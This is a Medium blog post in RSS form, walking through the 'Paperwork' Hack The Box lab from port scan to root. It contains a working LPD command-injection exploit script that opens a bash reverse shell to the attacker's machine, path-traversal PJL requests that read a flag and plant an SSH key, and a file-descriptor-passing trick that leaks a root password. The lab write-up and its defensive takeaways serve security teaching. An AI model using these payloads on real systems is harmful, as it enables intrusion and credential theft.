<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nouran Rabie on Medium]]></title>
        <description><![CDATA[Stories by Nouran Rabie on Medium]]></description>
        <link>https://medium.com/@Nouran.Rabie19?source=rss-97e486faf914------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*U2LVefaPryHeK1c0</url>
            <title>Stories by Nouran Rabie on Medium</title>
            <link>https://medium.com/@Nouran.Rabie19?source=rss-97e486faf914------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:08:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Nouran.Rabie19/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Paperwork (HTB) walkthrough: from an LPD bug to root]]></title>
            <link>https://medium.com/@Nouran.Rabie19/paperwork-htb-walkthrough-from-an-lpd-bug-to-root-22c6c385dc70?source=rss-97e486faf914------2</link>
            <guid isPermaLink="false">https://medium.com/p/22c6c385dc70</guid>
            <category><![CDATA[paperwork]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Nouran Rabie]]></dc:creator>
            <pubDate>Sun, 22 Nov 2026 21:58:44 GMT</pubDate>
            <atom:updated>2026-11-22T21:58:44.294Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</em></blockquote><h3>Introduction</h3><p>This walkthrough follows the recorded Paperwork (HTB) path from port scanning to root. The exposed LPD-style service leads to an lp shell; the local JetDirect/PJL service then provides the file access used to reach archivist; finally, a root-owned daemon exposes an already-open admin configuration file descriptor. The steps below keep the original commands, findings, outputs, and screenshots in sequence.</p><h2>Step 1 — Map the target and identify the printer service</h2><p>I started with a small bit of setup: I added the machine&#39;s assigned IP to <strong>/etc/hosts</strong>. The site expects the name paperwork.htb, and using it now saves me from juggling the IP later when I browse the site or connect over SSH.</p><pre>echo &quot;&lt;TARGET_IP&gt; paperwork.htb&quot; | sudo tee -a /etc/hosts</pre><p>With the name resolving, I let Nmap sweep the TCP ports and identify the services. The scan gave me three things to follow:</p><pre>nmap -sC -sV -p- -T4 10.129.143.20</pre><p>In this command, <strong>-p-</strong> scans TCP ports 1–65535, <strong>-sC</strong> runs Nmap’s default scripts, <strong>-sV</strong> probes service versions, and <strong>-T4</strong> selects the aggressive timing template.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*LY0WJw432mouD4wKBojVyA@2x.png" /></figure><p>The scan showed <strong>SSH on port 22</strong> and <strong>HTTP on port 80</strong>. <strong>Port 1515 was the mystery</strong>: Nmap’s tentative service label was<strong> ifor-protocol?</strong>, while the fingerprint response below looked more like a printer. That was enough to investigate the website and the service together.</p><pre>Archive_Printer is ready and printing.</pre><p>That little printer message became my first useful clue. I had a strange printer service on 1515 and a website to inspect, so I started there rather than guessing at the protocol.</p><blockquote>LPD (Line Printer Daemon) is a TCP print-job protocol. RFC 1179 describes the control-file J entry as a job name for a banner page and lists TCP/515 as the usual server port. This target exposes a custom LPD-style service on 1515, and its code uses that J value as job_name.</blockquote><h2>Step 2 — Inspect the printer source and exploit the LPD command injection</h2><p>I opened paperwork.htb in the browser and clicked the downloadable printer archive. That turned out to be more useful than a product manual: the ZIP included the service&#39;s Python file, <strong>server.py</strong>, so I could see how it handled incoming print jobs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*G6ahzIdOrGv9nnfHuECwcw@2x.png" /></figure><p>Once I unpacked the ZIP, I opened server.py and followed the print-job handling code. I didn&#39;t need to understand every line; I was looking for the point where data from my request was used.</p><p>This was the line I stopped at. It takes a submitted job name and uses it to build the archive command:</p><pre>subprocess.Popen(<br>    f&quot;echo &#39;Archive:{job_name}&#39; &gt;&gt; /tmp/archive.log&quot;,<br>    shell=True<br>)</pre><p>The job name comes from the print request, so a remote user gets to influence it. The code then drops that value inside a quoted shell command and runs the whole string with <strong>shell=True</strong>. That combination is the bug: a carefully placed quote can end the string early and make the shell interpret the rest as a command.</p><p><strong>Command injection</strong> occurs when untrusted input is interpreted as part of a shell command. Here, <strong>job_name</strong> is inserted directly into a string passed with <strong>shell=True</strong>, so a quote can break out of the intended value.</p><p>Before sending the job, I opened a listener on my own machine. Netcat&#39;s job here is simple: wait for the target to call back, so I could see whether the command injection worked.</p><pre>nc -lvnp 4444</pre><p>The exploit below sends a normal-looking LPD print job, but puts the shell-quote breakout in the job&#39;s J record. The daemon reads that record as the job name. When the vulnerable code inserts the payload into <strong>echo &#39;Archive:{job_name}&#39; &gt;&gt; /tmp/archive.log</strong>, the resulting command is effectively:</p><pre>echo &#39;Archive:&#39;; bash -c &#39;bash -i &gt;&amp; /dev/tcp/&lt;YOUR_VPN_IP&gt;/4444 0&gt;&amp;1&#39; ; echo &#39;&#39; &gt;&gt; /tmp/archive.log</pre><p>The first quote closes the original Archive: string. The semicolon starts a second command, which launches the reverse shell; the final echo lets the remainder of the original command stay syntactically valid. That&#39;s why the listener needs to be ready first.</p><pre>#!/usr/bin/env python3<br>import socket<br><br>TARGET = &quot;&lt;TARGET_IP&gt;&quot;<br>PORT = 1515<br>QUEUE = &quot;archive_intake&quot;<br>LHOST = &quot;&lt;YOUR_VPN_IP&gt;&quot;<br>LPORT = 4444<br><br>payload = (<br>    f&quot;&#39;; bash -c &#39;bash -i &gt;&amp; /dev/tcp/{LHOST}/{LPORT} 0&gt;&amp;1&#39; ; echo &#39;&quot;<br>)<br>control_file = f&quot;Hattacker\nProot\nJ{payload}\n&quot;<br>data_file = &quot;dummy\n&quot;<br><br>s = socket.socket()<br>s.settimeout(10)<br>s.connect((TARGET, PORT))<br><br># Start a print job for the valid queue.<br>s.send(b&quot;\x02&quot; + QUEUE.encode() + b&quot;\n&quot;)<br>assert s.recv(1024) == b&quot;\x00&quot;, &quot;Queue rejected&quot;<br><br># Send the control file.<br>s.send(<br>    b&quot;\x02&quot;<br>    + str(len(control_file)).encode()<br>    + b&quot; cfA001attacker\n&quot;<br>)<br>s.recv(1024)<br>s.send(control_file.encode())<br>s.recv(1024)<br><br># Send the data file.<br>s.send(<br>    b&quot;\x03&quot;<br>    + str(len(data_file)).encode()<br>    + b&quot; dfA001attacker\n&quot;<br>)<br>s.recv(1024)<br>s.send(data_file.encode())<br>s.recv(1024)<br>s.close()</pre><p>I saved the client as <strong>exploit_lpd.py</strong>. It uses a plain Python socket to speak the small part of the LPD protocol this server expects: start a job, send its control file, then send a data file. With the listener still waiting, I ran the script:</p><pre>python3 exploit_lpd.py</pre><p>A callback landed in Netcat, and the prompt belonged to lp. It wasn&#39;t a privileged account, but it put me inside the machine, where the local-only services became reachable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*P3zTDQm2mvF_36QNVaBKGw@2x.png" /></figure><h2>Step 3 — Use the lp shell to inspect the localhost JetDirect service</h2><p>Now that I had a shell on the target, I checked its listening ports with <strong>ss -lntp</strong>. I used that instead of scanning again from my own machine because a service bound to localhost won&#39;t show up in an external scan.</p><pre>ss -lntp</pre><p>One entry stood out: <strong>127.0.0.1:9100</strong>. That&#39;s the loopback address, so the service was listening for connections from inside the machine, not from my attacker box. Since I was already on the target as lp, I could still talk to it locally.</p><p>127.0.0.1 is the IPv4 loopback address: a service bound only there accepts connections from the same host, not directly from the network. That is why I checked it from the lp shell.</p><p>I used find to locate files with jet in their names, then cat to read the systemd unit. The search found <strong>/etc/systemd/system/jetdirect.service</strong>, which gave me a clear next step: learn who ran the service and where it kept its files.</p><pre>find / -iname &#39;*jet*&#39; 2&gt;/dev/null<br>cat /etc/systemd/system/jetdirect.service</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*igRjFbYE5vnH7qOOFLUVlw@2x.png" /></figure><p>The unit said <strong>JetDirect ran as archivist</strong>, <strong>listened on port 9100</strong>, and <strong>used /home/archivist/printer/ as its working directory</strong>. I tried to read the Python file directly, but the shell was still lp, and the home-directory permissions blocked me. So I couldn&#39;t open the source by path; I had to ask the service itself.</p><p>A systemd unit describes how a service is launched. The user identifies the account, WorkingDirectory, the starting directory, and <strong>ExecStart</strong>, the program and its arguments. Here, those fields identify archivist and the JetDirect script.</p><p><strong>JetDirect speaks PJL, short for Printer Job Language</strong>. Netcat wasn&#39;t installed on the target, but Python was, so I used its socket library to connect to 127.0.0.1:9100 and send a small PJL identity query. This let me test the service without installing anything.</p><blockquote><strong>PJL (Printer Job Language) </strong>is a printer-control language. Its file-system commands can list, upload, and download files in printer storage; in this box, the custom service maps those requests to host paths.</blockquote><pre>lp@paperwork:/opt/LPDServer$ python3 -c &#39;import socket;s=socket.create_connection((&quot;127.0.0.1&quot;,9100));s.sendall(b&quot;@PJL INFO ID\r\n&quot;);print(s.recv(4096));s.close()&#39;<br>b&#39;HP LASERJET 4ML\r\n&#39;</pre><p>It answered like an HP LaserJet, which confirmed I was talking to the printer service. Next I used two PJL commands: <strong>FSDIRLIST </strong>asks for a directory listing, and <strong>FSUPLOAD </strong>asks the printer to return a file. That gave me a way to explore the service&#39;s filesystem and retrieve its Python source.</p><pre>@PJL FSDIRLIST NAME=&quot;0:/&quot;<br>@PJL FSUPLOAD NAME=&quot;0:/jetdirect.py&quot; OFFSET=0 SIZE=8192</pre><p>The listing showed jetdirect.py and a logs directory. Reading <strong>jetdirect.py</strong> through <strong>FSUPLOAD </strong>was the useful part: it showed how the service turned a PJL path into a real filesystem path.</p><pre>def _translate(self, path):<br>    clean = path.replace(&quot;0:&quot;, &quot;&quot;).replace(&quot;\&quot;, &quot;/&quot;).lstrip(&quot;/&quot;)<br>    return os.path.normpath(os.path.join(self._root, clean))</pre><p>Here&#39;s what I noticed in that path-handling code: it removed the printer prefix and leading slash, then normalized the result, but it never rejected .. &#39;. Normalizing a path doesn&#39;t stop it from moving up a directory. Because the service root was <strong>/home/archivist/printer/</strong>, a path starting with <strong>0:/../</strong> could escape that directory.</p><p>Path traversal uses values such as ../ to escape an intended directory. normpath cleans a path but does not, by itself, prove the result remains under the allowed root; this code never checks that boundary.</p><h2>Step 4 — Confirm path traversal and obtain SSH access as archivist</h2><p>I wanted to confirm the traversal with a real file read, not just trust what the source seemed to allow. I asked JetDirect for user.txt with <strong>FSUPLOAD</strong>. The command shown below sends that request over a Python socket and prints the response.</p><pre>python3 -c &#39;import socket;s=socket.create_connection((&quot;127.0.0.1&quot;,9100));s.settimeout(3);s.sendall(b&quot;@PJL FSUPLOAD NAME=\&quot;0:/../user.txt\&quot;\r\n&quot;);print(s.recv(8192).decode(errors=&quot;replace&quot;));s.close()&#39;</pre><p>The path resolved to /home/archivist/user.txt, and the response contained the user flag. That was the confirmation I needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sQTKLTio3TkptZG0bia2dg.png" /></figure><p>While exploring the same parent directory, I found archivist&#39;s <strong>.ssh folder</strong> and an empty <strong>authorized_keys</strong> file. That gave me a way to get a normal SSH session as archivist: add a public key I control, then connect with its matching private key.</p><pre>ssh-keygen -t ed25519 -f archivist_key -N &quot;&quot;</pre><p>I used <strong>ssh-keygen</strong> to make an <strong>Ed25519 key pair</strong>. The <strong>.pub</strong> file is the public half that can go on the target; I kept the private key on my own machine.</p><p>An <strong>authorized_keys</strong> file lists public keys accepted for login. The matching private key stays on the client machine; <strong>ssh-keygen</strong> creates the key pair used here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*x9bhVxAOBY8r_kjxRoeRTg@2x.png" /></figure><p>For the write, I used JetDirect&#39;s <strong>FSDOWNLOAD </strong>command. The Python snippet below reads my public-key file, builds a PJL header with the correct byte count, and sends the header and file contents in separate socket writes. This custom service expects those parts to arrive separately; combining them into one <strong>sendall()</strong> can result in a zero-byte file even though the client does not report an error.</p><pre>python3 - &lt;&lt;&#39;PY&#39;<br>from pathlib import Path<br>import socket<br>import time<br><br>key = Path(&quot;archivist_key.pub&quot;).read_bytes()<br>header = (<br>    f&#39;@PJL FSDOWNLOAD NAME=&quot;0:/../.ssh/authorized_keys&quot; &#39;<br>    f&#39;SIZE={len(key)}\r\n&#39;<br>).encode()<br><br>with socket.create_connection((&quot;127.0.0.1&quot;, 9100), timeout=3) as s:<br>    s.sendall(header)<br>    time.sleep(0.5)<br>    s.sendall(key)<br>    time.sleep(0.5)<br>PY</pre><p>I didn&#39;t assume the write worked: I read authorized_keys back with <strong>FSUPLOAD </strong>and checked that my public key was present. This verification matters because the service may not clearly report a failed or empty write. After confirming the key, I used SSH with the private key to connect as <strong>archivist</strong>. That gave me a steadier shell and moved me to the account that owned the printer service.</p><pre>ssh -i archivist_key archivist@&lt;TARGET_IP&gt;</pre><p>When whoami returned archivist, I knew the key-based login had worked. From there, I started looking for a route to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*nb-MNKUV7ljWO0E08lwdTw@2x.png" /></figure><h2>Step 5 — Enumerate as archivist and inspect the root-owned daemon</h2><p>I started with common Linux privilege-escalation checks: <strong>SUID files, file capabilities, scheduled jobs, and running processes</strong>. These are the commands I used to check those areas:</p><pre>find / -perm -4000 -type f 2&gt;/dev/null<br>getcap -r / 2&gt;/dev/null<br>ls -la /etc/cron* /var/spool/cron 2&gt;/dev/null<br>ps auxww</pre><p>The <strong>SUID </strong>and<strong> scheduled-job</strong> checks didn&#39;t point to an easy win. The process list was more interesting: it showed a root-owned paperwork-daemon running alongside the printer services. A SUID executable can run with its owner&#39;s effective UID, Linux capabilities grant specific privileges, and cron files define scheduled commands. None of those checks gave me a direct route, so I followed the process clue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*Bc8VpSn1Y__auIcbvuKzbw@2x.png" /></figure><pre>root       /usr/bin/python3 /root/staging/CorpoSite/app.py<br>archivist  /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 ...<br>lp         /usr/bin/python3 /opt/LPDServer/server.py<br>root       /usr/bin/python3 /usr/bin/paperwork-daemon</pre><p>The daemon ran as root, and its Python source was readable from my archivist shell. Rather than guess at what it did, I opened it with cat and followed the file and socket operations.</p><pre>archivist@paperwork:~$ cat /usr/bin/paperwork-daemon<br>#!/usr/bin/python3<br>import socket, os, array, hashlib<br>import zipfile<br>import shutil<br><br>try:<br>    admin_fd = os.open(&quot;/etc/paperwork/admin_pins.conf&quot;, os.O_RDONLY)<br>except Exception:<br>    os._exit(1)<br><br>LOG_PATH = &quot;/home/archivist/printer/logs/commands.log&quot;<br><br>def get_admin_secret():<br>    data = os.pread(admin_fd, 1024, 0).decode().strip()<br>    if &quot;ADMIN_PASSWORD=&quot; in data:<br>        return data.split(&quot;ADMIN_PASSWORD=&quot;)[1].split(&quot;\n&quot;)[0]<br>    return data<br><br>def scan_for_malice():<br>    if not os.path.exists(LOG_PATH):<br>        return False<br>    with open(LOG_PATH, &#39;r&#39;) as f:<br>        content = f.read().upper()<br>        if any(trigger in content for trigger in [&quot;FSQUERY&quot;, &quot;FSUPLOAD&quot;, &quot;FSDOWNLOAD&quot;]):<br>            return True<br>    return False<br><br>def trigger_lockdown(conn):<br>    try:<br>        log_fd = os.open(LOG_PATH, os.O_RDONLY)<br>        evidence_bundle = array.array(&quot;i&quot;, [log_fd, admin_fd])<br>        msg = b&quot;ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.&quot;<br>        conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])<br><br>        zip_path = &quot;/root/quarantine/evidence.zip&quot;<br>        with zipfile.ZipFile(zip_path, &#39;w&#39;, zipfile.ZIP_DEFLATED) as zipf:<br>            zipf.write(LOG_PATH, arcname=&quot;commands.log&quot;)<br><br><br>        with open(LOG_PATH, &#39;w&#39;) as f:<br>            f.truncate(0)<br><br>        os.close(log_fd)<br>    except:<br>        pass<br><br>def main():<br>    socket_path = &quot;/run/paperwork/mgmt.sock&quot;<br>    if os.path.exists(socket_path): os.remove(socket_path)<br>    if not os.path.exists(&quot;/run/paperwork&quot;): os.makedirs(&quot;/run/paperwork&quot;)<br><br>    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)<br>    s.bind(socket_path)<br>    os.chmod(socket_path, 0o660)<br>    os.chown(socket_path, 0, 1000) <br>    s.listen(5)<br><br>    while True:<br>        conn, _ = s.accept()<br>        <br>        if scan_for_malice():<br>            trigger_lockdown(conn)<br>        else:<br>            secret = get_admin_secret()<br>            token = hashlib.sha256(f&quot;SYSTEM_CLEAN:{secret}&quot;.encode()).hexdigest()<br>            conn.sendall(f&quot;STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n&quot;.encode())<br>            <br>        conn.close()<br><br>if __name__ == &quot;__main__&quot;:<br>    main()<br></pre><p>The first thing I noticed was that the daemon opened <strong>/etc/paperwork/admin_pins.conf</strong> while it had root privileges, then kept that file descriptor open. It also watched a log under the archivist&#39;s printer directory: <strong>commands.log</strong>.</p><pre>/home/archivist/printer/logs/commands.log</pre><p>Then I followed the daemon&#39;s decision. It reads commands.log and looks for <strong>FSQUERY, FSUPLOAD, or FSDOWNLOAD</strong>. If it finds one, it takes a different branch: the lockdown handler calls sendmsg and attaches two file descriptors to its reply.</p><pre>evidence_bundle = array.array(&quot;i&quot;, [log_fd, admin_fd])<br>conn.sendmsg(<br>    [msg],<br>    [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)]<br>)</pre><p>That was the real weakness. The daemon wasn&#39;t merely sending a warning; it was passing open files to whoever connected. The first descriptor was for the printer log, and the second was the admin configuration file the daemon had opened as root. Linux can pass file descriptors over a <strong>Unix socket</strong> with <strong>SCM_RIGHTS</strong>, so the client may read an already-open file even when it couldn&#39;t open that path itself.</p><p>A Unix-domain socket is a way for programs on the same machine to communicate.<strong> SCM_RIGHTS</strong> lets one process pass open file descriptors as ancillary socket data; the receiver gets descriptors for the already-open files. That is why the daemon’s open config could be read without opening its protected path directly.</p><p>I checked whether I could reach both parts of that path. ls showed that archivist could write to commands.log, and ls on<strong> /run/paperwork </strong>showed the management socket was available to the <strong>archivist group</strong>. That meant I could set the condition and connect to the daemon.</p><pre>ls -la ~/printer/logs/<br>ls -la /run/paperwork/</pre><p>The permissions confirmed it: commands.log was owned by archivist and group-writable, while <strong>/run/paperwork/mgmt.sock</strong> belonged to <strong>root:archivist</strong> with mode 0660. I had the access needed to trigger the branch and receive the descriptors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*5wLdLt2Dopsp0tMFcNZ_ug@2x.png" /></figure><h2>Step 6 — Trigger the daemon’s log check and receive its file descriptors</h2><p>The trigger didn&#39;t need to be fancy. I added <strong>FSQUERY </strong>to the log because that&#39;s one of the words the daemon searches for. The echo command below writes that text to the file; when I connected to the socket next, the daemon took its lockdown path.</p><pre>echo &quot;FSQUERY&quot; &gt;&gt; ~/printer/logs/commands.log</pre><p>I used a short Python client because a regular recv call would only give me the message, not the extra file descriptors. The client opens a Unix-domain socket, calls recvmsg, then unpacks the <strong>SCM_RIGHTS</strong> data from the ancillary message. The second descriptor is the one I wanted.</p><pre>python3 - &lt;&lt;&#39;PY&#39;<br>import array<br>import os<br>import socket<br><br>sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)<br>sock.connect(&quot;/run/paperwork/mgmt.sock&quot;)<br>fds = []<br><br>try:<br>    message, ancillary, flags, address = sock.recvmsg(<br>        1024, socket.CMSG_SPACE(2 * array.array(&quot;i&quot;).itemsize)<br>    )<br>    print(&quot;[+] Response:&quot;, message.decode(errors=&quot;replace&quot;))<br><br>    for level, kind, data in ancillary:<br>        if level == socket.SOL_SOCKET and kind == socket.SCM_RIGHTS:<br>            received = array.array(&quot;i&quot;)<br>            usable = len(data) - (len(data) % received.itemsize)<br>            received.frombytes(data[:usable])<br>            fds.extend(received)<br><br>    if len(fds) &lt; 2:<br>        raise RuntimeError(f&quot;Expected two file descriptors, got {len(fds)}&quot;)<br><br>    admin_config = os.pread(fds[1], 1024, 0).decode(errors=&quot;replace&quot;).strip()<br>    print(&quot;[+] Admin configuration (keep this private):&quot;)<br>    print(admin_config)<br>finally:<br>    for fd in fds:<br>        os.close(fd)<br>    sock.close()<br>PYclose()ose(fd) [+] Response: b&#39;ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.&#39; [+] Received file descriptors: [4, 5] [+] Admin configuration: <strong>ADMIN_PASSWORD=ApparelMortuaryCedar22</strong></pre><p>The daemon replied with its security alert and sent two descriptors. I used os.pread on the second one, which read from the already-open admin configuration file. The configuration contained the password I needed for the final step.</p><p><strong>os.pread</strong> reads bytes from a file descriptor at a chosen offset without changing that descriptor’s current offset. Here it reads from offset 0.</p><p>The useful part to remember is why this bypassed permissions: I never opened the protected config file by pathname. The root daemon had opened it earlier and then handed its descriptor to my process. The writable log only selected the vulnerable branch; SCM_RIGHTS carried the privileged file access across the socket.</p><h2>Step 7 — Use the recovered password to become root</h2><p>With the password recovered, I tried su - to switch to root.</p><pre>su -</pre><p>After entering the recovered password, I verified the account rather than relying on the prompt alone:</p><pre>id<br>whoami<br>cat /root/root.txt</pre><p>The expected identity is <strong>uid=0(root)</strong> from id and root from whoami. Once those checks confirmed root access, I read /root/root.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*XE-HM5yeql6ZNwCrvyROsQ.png" /></figure><h2>Attack chain at a glance</h2><ol><li><strong>Port 1515 — LPD command injection:</strong> the job name is inserted into a shell command, giving me an initial shell as lp.</li><li><strong>Local port 9100 — JetDirect/PJL:</strong> the service is reachable from the foothold. Its path handling allows traversal outside the printer directory.</li><li><strong>User access — archivist:</strong> I use the traversal to write my SSH public key to archivist&#39;s authorized_keys, then log in over SSH.</li><li><strong>Privilege escalation — root daemon:</strong> I can write to the printer command log and connect to the management socket. A log trigger makes the root daemon pass its already-open admin configuration file descriptor using SCM_RIGHTS.</li><li><strong>Root:</strong> I recover the admin password, use su -, verify the root identity, and read the root flag.</li></ol><h2>Key takeaways</h2><ul><li><strong>Review how input reaches a command.</strong> A value that looks like ordinary print-job metadata can become shell syntax when it is interpolated into a command executed with shell=True.</li><li><strong>Check services from the foothold.</strong> An external port scan will not reveal every service; a process may listen only on 127.0.0.1 and still be reachable after getting a shell.</li><li><strong>Path normalization is not a security boundary.</strong> A service must verify that the resolved path remains inside its permitted directory; simply calling normpath() does not prevent traversal.</li><li><strong>Verify file writes.</strong> When using a custom protocol, do not assume that a successful socket write means the destination file contains the expected data. Read it back before relying on it.</li><li><strong>File descriptors carry access.</strong> Passing an already-open privileged file descriptor through SCM_RIGHTS can expose a file even when the receiving process cannot open its pathname.</li><li><strong>Security and logging features need the same review as the main application.</strong> A monitoring or incident-response path can introduce a privilege-escalation vulnerability if it trusts attacker-writable input or exposes privileged resources.</li></ul><h2>Conclusion</h2><p><strong>The documented chain was</strong>: the LPD-style job-name injection gave me an lp shell; the localhost JetDirect/PJL path handling let me read the archivist’s user file and place a public key in authorized_keys; then a writable printer log triggered the root daemon to pass its open admin-config descriptor over the management socket. I used the recovered password with su -, verified root access, and read root.txt.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22c6c385dc70" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>